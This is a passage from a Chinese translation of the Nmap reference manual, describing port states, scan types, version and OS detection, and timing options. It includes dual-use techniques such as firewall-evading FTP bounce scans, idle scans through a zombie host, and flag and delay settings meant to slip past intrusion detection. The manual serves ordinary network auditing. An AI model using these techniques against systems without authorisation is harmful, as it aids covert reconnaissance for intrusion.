最常见的Nmap使用场景之一是扫描一个以太局域网。 在大部分局域网上,特别是那些使用基于RFC1918私有地址范围的网络,在一个给定的时间绝大部分 IP地址都是不使用的。 当Nmap试图发送一个原始IP报文如ICMP回声请求时,操作系统必须确定对应于目标IP的硬件 地址(ARP),这样它才能把以太帧送往正确的地址。这一般比较慢而且会有些问题,因为操作系统设计者认为一般不会在短时间内对没有运行的机器作几百万次的ARP请求。当进行ARP扫描时,Nmap用它优化的算法管理ARP请求。当它收到响应时,Nmap甚至不需要担心基于IP的ping报文,既然它已经知道该主机正在运行了。 这使得ARP扫描比基于IP的扫描更快更可靠。所以默认情况下,如果Nmap发现目标主机就在它所在的局域网上,它会进行ARP扫描。即使指定了不同的ping类型(如 -PI或者 -PS),Nmap也会对任何相同局域网上的目标机使用ARP。 如果您真的不想要ARP扫描,指定 –send-ip。 - -n (不用域名解析)
告诉Nmap永不对它发现的活动IP地址进行反向域名解析。既然DNS一般比较慢,这可以让事情更快些。 - -R (为所有目标解析域名)
告诉Nmap永远对目标IP地址作反向域名解析。一般只有当发现机器正在运行时才进行这项操作。 - –system-dns (使用系统域名解析器)
默认情况下,Nmap通过直接发送查询到您的主机上配置的域名服务器来解析域名。为了提高性能,许多请求 (一般几十个) 并发执行。如果希望使用系统自带的解析器,就指定该选项 (通过getnameinfo()调用一次解析一个IP)。
端口扫描基础
虽然Nmap这些年来功能越来越多,但它最初也是从一个端口扫描器开始的,并且这仍然是它的核心功能。 nmap 这个简单的命令会扫描主机上的超过1660个TCP端口。许多传统的端口扫描器只列出所有端口是开放还是关闭的,Nmap的信息粒度比它们要细得多。它把端口分成六个状态: open(开放的), closed(关闭的),filtered(被过滤的), unfiltered(未被过滤的), open|filtered(开放或者被过滤的),或者 closed|filtered(关闭或者被过滤的)。
这些状态并非端口本身的性质,而是描述Nmap怎样看待它们 。例如,对于同样的目标机器的135/tcp端口,从同网络扫描显示它是开放的,而跨网络进行完全相同的扫描则可能显示它是filtered(被过滤的)。
Nmap所识别的6个端口状态。
open(开放的)
应用程序正在该端口接收TCP连接或者UDP报文。发现这一点常常是端口扫描的主要目标。安全意识强的人们知道每个开放的端口都是攻击的入口。攻击者或者入侵测试者想要发现开放的端口。而管理员则试图关闭它们或者用防火墙保护它们以免妨碍了合法用户。 非安全扫描可能对开放的端口也感兴趣,因为它们显示了网络上那些服务可供使用。
closed(关闭的)
关闭的端口对于Nmap也是可访问的(它接受Nmap的探测报文并作出响应),但没有应用程序在其上监听。 它们可以显示该IP地址上(主机发现,或者ping扫描)的主机正在运行,也对部分操作系统探测有所帮助。因为关闭的关口是可访问的,也许过会儿值得再扫描一下,可能一些又开放了。系统管理员可能会考虑用防火墙封锁这样的端口,那样的话就会被显示为被过滤的状态,下面讨论。
filtered(被过滤的)
由于包过滤阻止探测报文到达端口,Nmap无法确定该端口是否开放。过滤可能来自专业的防火墙设备,路由器规则或者主机上的软件防火墙。这样的端口让攻击者感觉很挫折,因为它们几乎不提供任何信息。有时候它们响应ICMP错误消息如类型3代码13 (无法到达目标:通信被管理员禁止),但更普遍的是过滤器只是丢弃探测帧,不做任何响应。这迫使Nmap重试若干次以防探测包是由于网络阻塞丢弃的,会使得扫描速度明显变慢。
unfiltered(未被过滤的)
未被过滤状态意味着端口可访问,但Nmap不能确定它是开放还是关闭。 只有用于映射防火墙规则集的ACK扫描才会把端口分类到这种状态。用其它类型的扫描如窗口扫描,SYN扫描,或者FIN扫描来扫描未被过滤的端口可以帮助确定端口是否开放。
open|filtered(开放或者被过滤的)
当无法确定端口是开放还是被过滤的,Nmap就把该端口划分成这种状态。开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃了探测报文或者它引发的任何响应。因此Nmap无法确定该端口是开放的还是被过滤的。UDP,IP协议, FIN,Null,和Xmas扫描可能把端口归入此类。
closed|filtered(关闭或者被过滤的)
该状态用于Nmap不能确定端口是关闭的还是被过滤的,它只可能出现在IPID Idle扫描中。
端口扫描技术
大部分扫描类型只对特权用户可用,这是因为他们发送接收原始报文,在Unix系统需要root权限。在Windows上推荐使用administrator账户,但是当WinPcap已经被加载到操作系统时,非特权用户也可以正常使用Nmap。当Nmap在1997年发布时,需要root权限是一个严重的局限,因为很多用户只有共享的shell账户。现在,世界变了,计算机便宜了,更多人拥有互联网连接 ,桌面UNIX系统 (包括Linux和MAC OS X)很普遍了。Windows版本的Nmap现在也有了,这使它可以运行在更多的桌面上。 由于所有这些原因,用户不再需要用有限的共享shell账户运行Nmap。 这是很幸运的,因为特权选项让Nmap强大得多也灵活得多。
虽然Nmap努力产生正确的结果,但请记住所有结果都是基于目标机器(或者它们前面的防火墙)返回的报文的。这些主机也许是不值得信任的,它们可能响应以迷惑或误导Nmap的报文。 更普遍的是非RFC兼容的主机以不正确的方式响应Nmap探测,FIN,Null和Xmas扫描特别容易遇到这个问题,这些是特定扫描类型的问题。
这一节讨论Nmap支持的大约十几种扫描技术。一般一次只用一种方法,除了UDP扫描(-sU)可能和任何一种TCP扫描类型结合使用。友情提示一下,端口扫描类型的选项格式是-s, 其中是个显眼的字符,通常是第一个字符,一个例外是deprecated FTP bounce扫描(-b)。默认情况下,Nmap执行一个SYN扫描,但是如果用户没有权限发送原始报文(在UNIX上需要root权限)或者如果指定的是IPv6目标,Nmap调用connect()。本节列出的扫描中,非特权用户只能执行connect()和ftp bounce扫描。
-sS (TCP SYN扫描)
SYN扫描作为默认的也是最受欢迎的扫描选项,是有充分理由的。 它执行得很快,在一个没有入侵防火墙的快速网络上,每秒钟可以扫描数千个端口。SYN扫描相对来说不张扬,不易被注意到,因为它从来不完成TCP连接。 它也不像Fin/Null/Xmas,Maimon和Idle扫描依赖于特定平台,而可以应对任何兼容的 TCP协议栈。它还可以明确可靠的区分open(开放的), closed(关闭的),和filtered(被过滤的) 状态。
常常被称为半连接扫描, 因为它不打开一个完全的TCP连接。它发送一个SYN报文,就像您真的要打开一个连接,然后等待响应。 SYN/ACK表示端口在监听 (开放),而RST (复位)表示没有监听者。如果数次重发后仍没响应,该端口就被标记为被过滤。如果收到ICMP不可到达错误 (类型3,代码1,2,3,9,10,或者13),该端口也被标记为被过滤。
-sT (TCP connect()扫描)
当SYN扫描不能用时,TCP Connect()扫描就是 默认的TCP扫描 。当用户没有权限发送原始报文或者扫描IPv6网络时,就是这种情况。 Instead of writing raw packets as most other scan types do,Nmap通过创建connect() 系统调用要求操作系统和目标机以及端口建立连接,而不像其它扫描类型直接发送原始报文。 这是和Web浏览器,P2P客户端以及大多数其它网络应用程序用以建立连接一样的高层系统调用。它是叫做Berkeley Sockets API编程接口的一部分。Nmap用该API获得每个连接尝试的状态信息,而不是读取响应的原始报文。
当SYN扫描可用时,它通常是更好的选择。因为Nmap对高层的connect()调用比对原始报文控制更少, 所以前者效率较低。 该系统调用完全连接到开放的目标端口而不是像SYN扫描进行半开放的复位。这不仅花更长时间,需要更多报文得到同样信息,目标机也更可能记录下连接。IDS(入侵检测系统)可以捕获两者,但大部分机器没有这样的警报系统。当Nmap连接,然后不发送数据又关闭连接,许多普通UNIX系统上的服务会在syslog留下记录,有时候是一条加密的错误消息。 此时,有些真正脆弱的服务会崩溃,虽然这不常发生。如果管理员在日志里看到来自同一系统的一堆连接尝试,他应该知道系统被扫描了。
-sU (UDP扫描)
虽然互联网上很多流行的服务运行在TCP协议上,UDP服务也不少。 DNS,SNMP,和DHCP (注册的端口是53,161/162,和67/68)是最常见的三个。 因为UDP扫描一般较慢,比TCP更困难,一些安全审核人员忽略这些端口。 这是一个错误,因为可探测的UDP服务相当普遍,攻击者当然不会忽略整个协议。 所幸,Nmap可以帮助记录并报告UDP端口。
UDP扫描用-sU选项激活。它可以和TCP扫描如 SYN扫描 (-sS)结合使用来同时检查两种协议。
UDP扫描发送空的(没有数据)UDP报头到每个目标端口。 如果返回ICMP端口不可到达错误(类型3,代码3), 该端口是closed(关闭的)。其它ICMP不可到达错误(类型3, 代码1,2,9,10,或者13)表明该端口是filtered(被过滤的)。偶尔地,某服务会响应一个UDP报文,证明该端口是open(开放的)。 如果几次重试后还没有响应,该端口就被认为是 open|filtered(开放|被过滤的)。 这意味着该端口可能是开放的,也可能包过滤器正在封锁通信。 可以用版本扫描(-sV)帮助区分真正的开放端口和被过滤的端口。
UDP扫描的巨大挑战是怎样使它更快速。 开放的和被过滤的端口很少响应,让Nmap超时然后再探测,以防探测帧或者 响应丢失。关闭的端口常常是更大的问题。 它们一般发回一个ICMP端口无法到达错误。但是不像关闭的TCP端口响应SYN或者Connect 扫描所发送的RST报文,许多主机在默认情况下限制ICMP端口不可到达消息。 Linux和Solaris对此特别严格。例如, Linux 2.4.20内核限制一秒钟只发送一条目标不可到达消息 (见net/ipv4/icmp。c)。
Nmap探测速率限制并相应地减慢来避免用那些目标机会丢弃的无用报文来阻塞 网络。不幸的是,Linux式的一秒钟一个报文的限制使65,536个端口的扫描要花 18小时以上。加速UDP扫描的方法包括并发扫描更多的主机,先只对主要端口进行快速 扫描,从防火墙后面扫描,使用–host-timeout跳过慢速的 主机。
-sN; -sF; -sX (TCP Null,FIN,and Xmas扫描)
这三种扫描类型 (甚至用下一节描述的 –scanflags 选项的更多类型) 在TCP RFC 中发掘了一个微妙的方法来区分open(开放的)和 closed(关闭的)端口。第65页说“如果 [目标]端口状态是关闭的…. 进入的不含RST的报文导致一个RST响应。” 接下来的一页 讨论不设置SYN,RST,或者ACK位的报文发送到开放端口: “理论上,这不应该发生,如果您确实收到了,丢弃该报文,返回。
如果扫描系统遵循该RFC,当端口关闭时,任何不包含SYN,RST,或者ACK位的报文会导致 一个RST返回,而当端口开放时,应该没有任何响应。只要不包含SYN,RST,或者ACK, 任何其它三种(FIN,PSH,and URG)的组合都行。Nmap有三种扫描类型利用这一点:
Null扫描 (-sN)不设置任何标志位(tcp标志头是0)
FIN扫描 (-sF)只设置TCP FIN标志位。
Xmas扫描 (-sX)设置FIN,PSH,和URG标志位,就像点亮圣诞树上所有的灯一样。
除了探测报文的标志位不同,这三种扫描在行为上完全一致。 如果收到一个RST报文,该端口被认为是 closed(关闭的),而没有响应则意味着 端口是open|filtered(开放或者被过滤的)。 如果收到ICMP不可到达错误(类型 3,代号 1,2,3,9,10,或者13),该端口就被标记为 被过滤的。
这些扫描的关键优势是它们能躲过一些无状态防火墙和报文过滤路由器。 另一个优势是这些扫描类型甚至比SYN扫描还要隐秘一些。但是别依赖它 –多数 现代的IDS产品可以发现它们。一个很大的不足是并非所有系统都严格遵循RFC 793。 许多系统不管端口开放还是关闭,都响应RST。 这导致所有端口都标记为closed(关闭的)。 这样的操作系统主要有Microsoft Windows,许多Cisco设备,BSDI,以及IBM OS/400。 但是这种扫描对多数UNIX系统都能工作。这些扫描的另一个不足是 它们不能辨别open(开放的)端口和一些特定的filtered(被过滤的)端口,从而返回 open|filtered(开放或者被过滤的)。
-sA (TCP ACK扫描)
这种扫描与目前为止讨论的其它扫描的不同之处在于它不能确定open(开放的)或者open|filtered(开放或者过滤的))端口。
它用于发现防火墙规则,确定它们是有状态的还是无状态的,哪些端口是被过滤的。ACK扫描探测报文只设置ACK标志位(除非您使用 –scanflags)。当扫描未被过滤的系统时, open(开放的)和closed(关闭的) 端口都会返回RST报文。Nmap把它们标记为unfiltered(未被过滤的),意思是 ACK报文不能到达,但至于它们是open(开放的)或者 closed(关闭的) 无法确定。不响应的端口 或者发送特定的ICMP错误消息(类型3,代号1,2,3,9,10, 或者13)的端口,标记为 filtered(被过滤的)。
-sW (TCP窗口扫描)
除了利用特定系统的实现细节来区分开放端口和关闭端口,当收到RST时不总是打印unfiltered,窗口扫描和ACK扫描完全一样。 它通过检查返回的RST报文的TCP窗口域做到这一点。 在某些系统上,开放端口用正数表示窗口大小(甚至对于RST报文) 而关闭端口的窗口大小为0。因此,当收到RST时,窗口扫描不总是把端口标记为 unfiltered, 而是根据TCP窗口值是正数还是0,分别把端口标记为open或者 closed
该扫描依赖于互联网上少数系统的实现细节, 因此您不能永远相信它。不支持它的系统会通常返回所有端口closed。 当然,一台机器没有开放端口也是有可能的。 如果大部分被扫描的端口是 closed,而一些常见的端口 (如 22, 25,53) 是 filtered,该系统就非常可疑了。 偶尔地,系统甚至会显示恰恰相反的行为。 如果您的扫描显示1000个开放的端口和3个关闭的或者被过滤的端口, 那么那3个很可能也是开放的端口。
-sM (TCP Maimon扫描)
Maimon扫描是用它的发现者Uriel Maimon命名的。他在 Phrack Magazine issue #49(November 1996)中描述了这一技术。 Nmap在两期后加入了这一技术。 这项技术和Null,FIN,以及Xmas扫描完全一样,除了探测报文是FIN/ACK。 根据RFC 793 (TCP),无论端口开放或者关闭,都应该对这样的探测响应RST报文。 然而,Uriel注意到如果端口开放,许多基于BSD的系统只是丢弃该探测报文。
–scanflags (定制的TCP扫描)
真正的Nmap高级用户不需要被这些现成的扫描类型束缚。 –scanflags选项允许您通过指定任意TCP标志位来设计您自己的扫描。 让您的创造力流动,躲开那些仅靠本手册添加规则的入侵检测系统!
–scanflags选项可以是一个数字标记值如9 (PSH和FIN), 但使用字符名更容易些。 只要是URG, ACK,PSH, RST,SYN,and FIN的任何组合就行。例如,–scanflags URGACKPSHRSTSYNFIN设置了所有标志位,但是这对扫描没有太大用处。 标志位的顺序不重要。
除了设置需要的标志位,您也可以设置 TCP扫描类型(如-sA或者-sF)。 那个基本类型告诉Nmap怎样解释响应。例如, SYN扫描认为没有响应意味着 filtered端口,而FIN扫描则认为是open|filtered。 除了使用您指定的TCP标记位,Nmap会和基本扫描类型一样工作。 如果您不指定基本类型,就使用SYN扫描。
-sI <zombie host[:probeport]> (Idlescan)
这种高级的扫描方法允许对目标进行真正的TCP端口盲扫描 (意味着没有报文从您的真实IP地址发送到目标)。相反,side-channel攻击 利用zombie主机上已知的IP分段ID序列生成算法来窥探目标上开放端口的信息。 IDS系统将显示扫描来自您指定的zombie机(必须运行并且符合一定的标准)。这种奇妙的扫描类型太复杂了,不能在此完全描述,所以我写一篇非正式的论文, 发布在http://nmap.org/book/idlescan.html 。除了极端隐蔽(由于它不从真实IP地址发送任何报文), 该扫描类型可以建立机器间的基于IP的信任关系。 端口列表从zombie 主机的角度。显示开放的端口。 因此您可以尝试用您认为(通过路由器/包过滤规则)可能被信任的 zombies扫描目标。如果您由于IPID改变希望探测zombie上的特定端口, 您可以在zombie 主机后加上一个冒号和端口号。 否则Nmap会使用默认端口(80)。
-sO (IP协议扫描)
IP 协议扫描可以让您确定目标机支持哪些IP协议 (TCP,ICMP,IGMP,等等)。从技术上说,这不是端口扫描 ,既然它遍历的是IP协议号而不是TCP或者UDP端口号。 但是它仍使用 -p选项选择要扫描的协议号, 用正常的端口表格式报告结果,甚至用和真正的端口扫描一样 的扫描引擎。因此它和端口扫描非常接近,也被放在这里讨论。除了本身很有用,协议扫描还显示了开源软件的力量。 尽管基本想法非常简单,我过去从没想过增加这一功能也没收到任何对它的请求。 在2000年夏天,Gerhard Rieger孕育了这个想法,写了一个很棒的补丁程序,发送到nmap-hackers邮件列表。 我把那个补丁加入了Nmap,第二天发布了新版本。 几乎没有商业软件会有用户有足够的热情设计并贡献他们的改进。协议扫描以和UDP扫描类似的方式工作。它不是在UDP报文的端口域上循环, 而是在IP协议域的8位上循环,发送IP报文头。 报文头通常是空的,不包含数据,甚至不包含所申明的协议的正确报文头 TCP,UDP,和ICMP是三个例外。它们三个会使用正常的协议头,因为否则某些系 统拒绝发送,而且Nmap有函数创建它们。协议扫描不是注意ICMP端口不可到达消息, 而是ICMP 协议不可到达消息。如果Nmap从目标主机收到 任何协议的任何响应,Nmap就把那个协议标记为open。 ICMP协议不可到达 错误(类型 3,代号 2) 导致协议被标记为closed。其它ICMP不可到达协议(类型 3,代号 1,3,9,10,或者13) 导致协议被标记为 filtered(虽然同时他们证明ICMP是 open )。如果重试之后仍没有收到响应, 该协议就被标记为open|filtered
-b (FTP弹跳扫描)
FTP协议的一个有趣特征(RFC 959) 是支持所谓代理ftp连接。它允许用户连接到一台FTP服务器,然后要求文件送到一台第三方服务器。 这个特性在很多层次上被滥用,所以许多服务器已经停止支持它了。其中一种就是导致FTP服务器对其它主机端口扫描。 只要请求FTP服务器轮流发送一个文件到目标主机上的所感兴趣的端口。 错误消息会描述端口是开放还是关闭的。 这是绕过防火墙的好方法,因为FTP服务器常常被置于可以访问比Web主机更多其它内部主机的位置。 Nmap用-b选项支持ftp弹跳扫描。参数格式是 :@:。 是某个脆弱的FTP服务器的名字或者IP地址。 您也许可以省略:, 如果服务器上开放了匿名用户(user:anonymous password:-wwwuser@)。 端口号(以及前面的冒号) 也可以省略,如果使用默认的FTP端口(21)。当Nmap1997年发布时,这个弱点被广泛利用,但现在大部分已经被fix了。 脆弱的服务器仍然存在,所以如果其它都失败了,这也值得一试。 如果您的目标是绕过防火墙,扫描目标网络上的开放的21端口(或者甚至任何ftp服务,如果您用版本探测扫描所有端口), 然后对每个尝试弹跳扫描。Nmap会告诉您该主机脆弱与否。如果您只是试着玩Nmap,您不必(事实上,不应该)限制您自己。 在您随机地在互联网上寻找脆弱的FTP服务器时,考虑一下系统管理员不太喜欢您这样滥用他们的服务器。
端口说明和扫描顺序
除了所有前面讨论的扫描方法, Nmap提供选项说明哪些端口被扫描以及扫描是随机还是顺序进行。默认情况下,Nmap用指定的协议对端口 1~1024 以及 nmap-services 文件中列出的更高的端口进行扫描。
-p (只扫描指定的端口)
该选项指明想扫描的端口,覆盖默认值,单个端口和用连字符表示的端口范围(如1-1023)都可以 。范围的开始以及/或者结束值可以被省略, 分别导致Nmap使用1和65535,所以可以指定 -p- 从端口1扫描到65535。 如果特别指定,也可以扫描端口0。对于IP协议扫描(-sO),该选项指定您希望扫描的协议号 (0-255)。
当既扫描TCP端口又扫描UDP端口时,您可以通过在端口号前加上T: 或者U:指定协议。 协议限定符一直有效您直到指定另一个。 例如,参数 -p U:53,111,137,T:21-25,80,139,8080 将扫描UDP 端口53,111,和137,同时扫描列出的TCP端口。注意,要既扫描 UDP又扫描TCP,您必须指定 -sU ,以及至少一个TCP扫描类型(如 -sS,-sF,或者 -sT)。如果没有给定协议限定符, 端口号会被加到所有协议列表。
-F (快速 (有限的端口) 扫描)
在nmap的nmap-services文件中(对于-sO,是协议文件)指定您想要扫描的端口。这比扫描所有65535个端口快得多,因为该列表包含如此多的TCP端口(1200多),这和默认的TCP扫描 (大约1600个端口)速度差别不是很大。如果您用–datadir选项指定您自己的小小的nmap-services文件,差别会很惊人。
-r (不要按随机顺序扫描端口)
默认情况下,Nmap按随机顺序扫描端口 (除了出于效率的考虑,常用的端口前移)。这种随机化通常都是受欢迎的, 但您也可以指定-r来按顺序进行端口扫描。
服务和版本探测
把Nmap指向一个远程机器,它可能告诉您端口25/tcp,80/tcp,和53/udp是开放的,使用包含大约2,200个著名的服务的nmap-services数据库。Nmap可以报告那些端口可能分别对应于一个邮件服务器(SMTP),web服务器(HTTP),和域名服务器(DNS)。 这种查询通常是正确的。事实上,绝大多数在TCP端口25监听的守护进程是邮件 服务器。然而,您不应该把赌注押在这上面!管理员完全可以在一些奇怪的端口上运行服务。
即使Nmap是对的,假设运行服务的确实是 SMTP,HTTP和DNS,那也不是特别多的信息。 当为您的公司或者客户作安全评估(或者甚至简单的网络明细清单)时,您确实想知道正在运行什么邮件和域名服务器以及它们的版本,有一个精确的版本号对了解服务器有什么漏洞有巨大帮助,版本探测可以帮您获得该信息。
在用某种其它类型的扫描方法发现TCP 和/或者UDP端口后,版本探测会询问这些端口,确定到底什么服务正在运行。nmap-service-probes 数据库包含查询不同服务的探测报文和解析识别响应的匹配表达式。Nmap试图确定服务协议 (如 ftp,ssh,telnet,http),应用程序名(如ISC Bind,Apache httpd,Solaris telnetd),版本号,主机名,设备类型(如打印机,路由器),操作系统 (如Windows,Linux)以及其它的细节,如是否可以连接X server,SSH协议版本,或者KaZaA用户名。当然,并非所有服务都提供所有这些信息。 如果Nmap被编译成支持OpenSSL,它将连接到SSL服务器,推测什么服务在加密层后面监听。当发现RPC服务时,Nmap RPC grinder (-sR)会自动被用于确定RPC程序和它的版本号。如果在扫描某个UDP端口后仍然无法确定该端口是开放的还是被过滤的,那么该端口状态就被标记为open|filtered。 版本探测将试图从这些端口引发一个响应(就像它对开放端口做的一样), 如果成功,就把状态改为开放。open|filtered TCP端口用同样的方法对待。注意Nmap -A选项在其它情况下打开版本探测。有一篇关于版本探测的原理,使用文章在http://www.insecure.org/nmap/vscan/。
当Nmap从某个服务收到响应,但不能在数据库中找到匹配时,它就打印一个特殊的fingerprint和一个URL给您提交。如果您知道什么服务运行在端口,请花两分钟提交您的发现,让每个人受益。由于这些提交,Nmap有350种以上协议,如smtp,ftp,http等大约3,000条模式匹配。
用下列的选项打开和控制版本探测。
-sV (版本探测)
打开版本探测,也可以用 -A 同时打开操作系统探测和版本探测。
–allports (不为版本探测排除任何端口)
默认情况下,Nmap版本探测会跳过 9100 TCP端口,因为一些打印机会打印发送到该端口的任何数据,会导致数十页HTTP get请求、二进制 SSL会话请求等等被打印出来。这一行为可以通过修改或删除nmap-service-probes 中的Exclude指示符改变,也可以不理会任何Exclude指示符,指定–allports扫描所有端口。
–version-intensity (设置版本扫描强度)
当进行版本扫描(-sV)时,nmap发送一系列探测报文 ,每个报文都被赋予一个1到9之间的值。 被赋予较低值的探测报文对大范围的常见服务有效,而被赋予较高值的报文 一般没什么用。强度水平说明了应该使用哪些探测报文。数值越高, 服务越有可能被正确识别。 然而,高强度扫描花更多时间。强度值必须在0和9之间。 默认是7。当探测报文通过nmap-service-probes ports指示符注册到目标端口时,无论什么强度水平,探测报文都会被尝试。这保证了DNS 探测将永远在任何开放的53端口尝试, SSL探测将在443端口尝试,等等。
–version-light (打开轻量级模式)
这是 –version-intensity 2的方便的别名。轻量级模式使 版本扫描快许多,但它识别服务的可能性也略微小一点。
- –version-all (尝试每个探测)
- –version-intensity 9的别名, 保证对每个端口尝试每个探测报文。
–version-trace (跟踪版本扫描活动)
这导致Nmap打印出详细的关于正在进行的扫描的调试信息。 它是您用–packet-trace所得到的信息的子集。
-sR (RPC扫描)
这种方法和许多端口扫描方法联合使用。 它对所有被发现开放的TCP/UDP端口执行SunRPC程序NULL命令,来试图 确定它们是否RPC端口,如果是, 是什么程序和版本号。因此您可以有效地获得和rpcinfo -p一样的信息, 即使目标的端口映射在防火墙后面(或者被TCP包装器保护)。Decoys目前不能和RPC scan一起工作。 这作为版本扫描(-sV)的一部分自动打开。 由于版本探测包括它并且全面得多,-sR很少被需要。
操作系统探测
Nmap最著名的功能之一是用TCP/IP协议栈fingerprinting进行远程操作系统探测。Nmap发送一系列TCP和UDP报文到远程主机,检查响应中的每一个比特。在进行一打测试如TCP ISN采样、TCP选项支持和排序、IPID采样和初始窗口大小检查之后,Nmap把结果和数据库nmap-os-fingerprints中超过1500个已知的操作系统的fingerprints进行比较,如果有匹配,就打印出操作系统的详细信息。 每个fingerprint包括一个自由格式的关于OS的描述文本和一个分类信息,它提供供应商名称(如Sun),下面的操作系统(如Solaris),OS版本(如10),设备类型(通用设备,路由器,switch,游戏控制台等)。
如果Nmap不能猜出操作系统,并且有些好的已知条件(如至少发现了一个开放端口和一个关闭端口),Nmap会提供一个URL,如果您确知运行的操作系统,您可以把fingerprint提交到那个URL。这样您就扩大了Nmap的操作系统知识库,从而让每个Nmap用户都受益。
操作系统检测可以进行其它一些测试,这些测试可以利用处理过程中收集到的信息。例如运行时间检测,使用TCP时间戳选项(RFC 1323) 来估计主机上次重启的时间,这仅适用于提供这类信息的主机。另一种是TCP序列号预测分类,用于测试针对远程主机建立一个伪造的TCP连接的可能难度。这对于利用基于源IP地址的可信关系(rlogin,防火墙过滤等) 或者隐含源地址的攻击非常重要。这一类欺骗攻击现在很少见,但一些主机仍然存在这方面的漏洞。实际的难度值基于统计采样,因此可能会有一些波动。通常采用英国的分类较好,如“worthy challenge”或者 “trivial joke”。在详细模式(-v)下只以普通的方式输出,如果同时使用-O,还报告IPID序列产生号。很多主机的序列号是“增加”类别,即在每个发送包的IP头中增加ID域值, 这对一些先进的信息收集和欺骗攻击来说是个漏洞。
http://nmap.org/book/osdetect.html 文档使用多种语言描述了版本检测的方式、使用和定制。
采用下列选项启用和控制操作系统检测:
-O (启用操作系统检测)
也可以使用 -A 来同时启用操作系统检测和版本检测。
–osscan-limit (针对指定的目标进行操作系统检测)
如果发现一个打开和关闭的TCP端口时,操作系统检测会更有效。 采用这个选项,Nmap只对满足这个条件的主机进行操作系统检测,这样可以节约时间,特别在使用-P0扫描多个主机时。这个选项仅在使用 -O或-A 进行操作系统检测时起作用。
–osscan-guess; –fuzzy (推测操作系统检测结果)
当Nmap无法确定所检测的操作系统时,会尽可能地提供最相近的匹配,Nmap默认进行这种匹配,使用上述任一个选项使得Nmap的推测更加有效。
时间和性能
Nmap开发的最高优先级是性能。在本地网络对一个主机的默认扫描(nmap <hostname>)需要0.2秒,而仅仅眨眼的时间,就可以扫描上万甚至几十万的主机。此外,一些特定的扫描选项会明显增加扫描时间,如UDP扫描和版本检测。同样,防火墙配置以及特殊的响应速度限制也会增加时间。Nmap使用了并行算法和许多先进的算法来加速扫描,用户对Nmap如何工作有最终的控制权。高级用户可以仔细地调整Nmap命令,在满足时间要求的同时获得他们所关心的信息。
改善扫描时间的技术有:忽略非关键的检测、升级最新版本的Nmap(性能增强不断改善)。 优化时间参数也会带来实质性的变化,这些参数如下。
–min-hostgroup ; –max-hostgroup (调整并行扫描组的大小)
Nmap具有并行扫描多主机端口或版本的能力,Nmap将多个目标IP地址 空间分成组,然后在同一时间对一个组进行扫描。通常,大的组更有效。缺 点是只有当整个组扫描结束后才会提供主机的扫描结果。如果组的大小定义 为50,则只有当前50个主机扫描结束后才能得到报告(详细模式中的补充信息 除外)。
默认方式下,Nmap采取折衷的方法。开始扫描时的组较小, 最小为5,这样便于尽快产生结果;随后增长组的大小,最大为1024。确切的 大小依赖于所给定的选项。为保证效率,针对UDP或少量端口的TCP扫描,Nmap 使用大的组。–max-hostgroup选项用于说明使用最大的组,Nmap不 会超出这个大小。
–min-hostgroup选项说明最小的组,Nmap 会保持组大于这个值。如果在指定的接口上没有足够的目标主机来满足所 指定的最小值,Nmap可能会采用比所指定的值小的组。这两个参数虽然很少使用, 但都用于保持组的大小在一个指定的范围之内。
这些选项的主要用途是说明一个最小组的大小,使得整个扫描更加快速。通常 选择256来扫描C类网段。对于端口数较多的扫描,超出该值没有意义。对于 端口数较少的扫描,2048或更大的组大小是有帮助的。
–min-parallelism ; –max-parallelism (调整探测报文的并行度)
这些选项控制用于主机组的探测报文数量,可用于端口扫描和主机发现。默认状态下, Nmap基于网络性能计算一个理想的并行度,这个值经常改变。如果报文被丢弃, Nmap降低速度,探测报文数量减少。随着网络性能的改善,理想的探测报文数量会缓慢增加。 这些选项确定这个变量的大小范围。默认状态下,当网络不可靠时,理想的并行度值 可能为1,在好的条件下,可能会增长至几百。
最常见的应用是–min-parallelism值大于1,以加快 性能不佳的主机或网络的扫描。这个选项具有风险,如果过高则影响准确度,同时 也会降低Nmap基于网络条件动态控制并行度的能力。这个值设为10较为合适, 这个值的调整往往作为最后的手段。–max-parallelism选项通常设为1,以防止Nmap在同一时间 向主机发送多个探测报文,和选择–scan-delay同时使用非常有用,虽然 这个选项本身的用途已经很好。
–min-rtt-timeout , –max-rtt-timeout , –initial-rtt-timeout (调整探测报文超时)
Nmap使用一个运行超时值来确定等待探测报文响应的时间,随后会放弃或重新 发送探测报文。Nmap基于上一个探测报文的响应时间来计算超时值,如果网络延迟比较显著 和不定,这个超时值会增加几秒。初始值的比较保守(高),而当Nmap扫描无响应 的主机时,这个保守值会保持一段时间。
这些选项以毫秒为单位,采用小的–max-rtt-timeout值,使 –initial-rtt-timeout值大于默认值可以明显减少扫描时间,特别 是对不能ping通的扫描(-P0)以及具有严格过滤的网络。如果使用太 小的值,使得很多探测报文超时从而重新发送,而此时可能响应消息正在发送,这使得整个扫描的时 间会增加。
如果所有的主机都在本地网络,对于–max-rtt-timeout值来 说,100毫秒比较合适。如果存在路由,首先使用ICMP ping工具ping主机,或使用其 它报文工具如hpings,可以更好地穿透防火墙。查看大约10个包的最大往返时间,然后将 –initial-rtt-timeout设成这个时间的2倍,–max-rtt-timeout 可设成这个时间值的3倍或4倍。通常,不管ping的时间是多少,最大的rtt值不得小于100ms, 不能超过1000ms。
–min-rtt-timeout这个选项很少使用,当网络不可靠时, Nmap的默认值也显得过于强烈,这时这个选项可起作用。当网络看起来不可靠时,Nmap仅将 超时时间降至最小值,这个情况是不正常的,需要向nmap-dev邮件列表报告bug。
–host-timeout (放弃低速目标主机)
由于性能较差或不可靠的网络硬件或软件、带宽限制、严格的防火墙等原因, 一些主机需要很长的时间扫描。这些极少数的主机扫描往往占 据了大部分的扫描时间。因此,最好的办法是减少时间消耗并且忽略这些主机,使用 –host-timeout选项来说明等待的时间(毫秒)。通常使用1800000来保证Nmap不会在单个主机上使用超过半小时的时间。需要注意的是,Nmap在这半小时中可以同时扫描其它主机,因此并不是完全放弃扫描。超时的主机被忽略,因此也没有针对该主机的 端口表、操作系统检测或版本检测结果的输出。
–scan-delay ; –max-scan-delay (调整探测报文的时间间隔)
这个选项用于Nmap控制针对一个主机发送探测报文的等待时间(毫秒),在带宽 控制的情况下这个选项非常有效。Solaris主机在响应UDP扫描探测报文报文时,每秒 只发送一个ICMP消息,因此Nmap发送的很多数探测报文是浪费的。–scan-delay 设为1000,使Nmap低速运行。Nmap尝试检测带宽控制并相应地调整扫描的延迟,但 并不影响明确说明何种速度工作最佳。–scan-delay的另一个用途是躲闭基于阈值的入侵检测和预防 系统(IDS/IPS)。
-T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane> (设置时间模板)
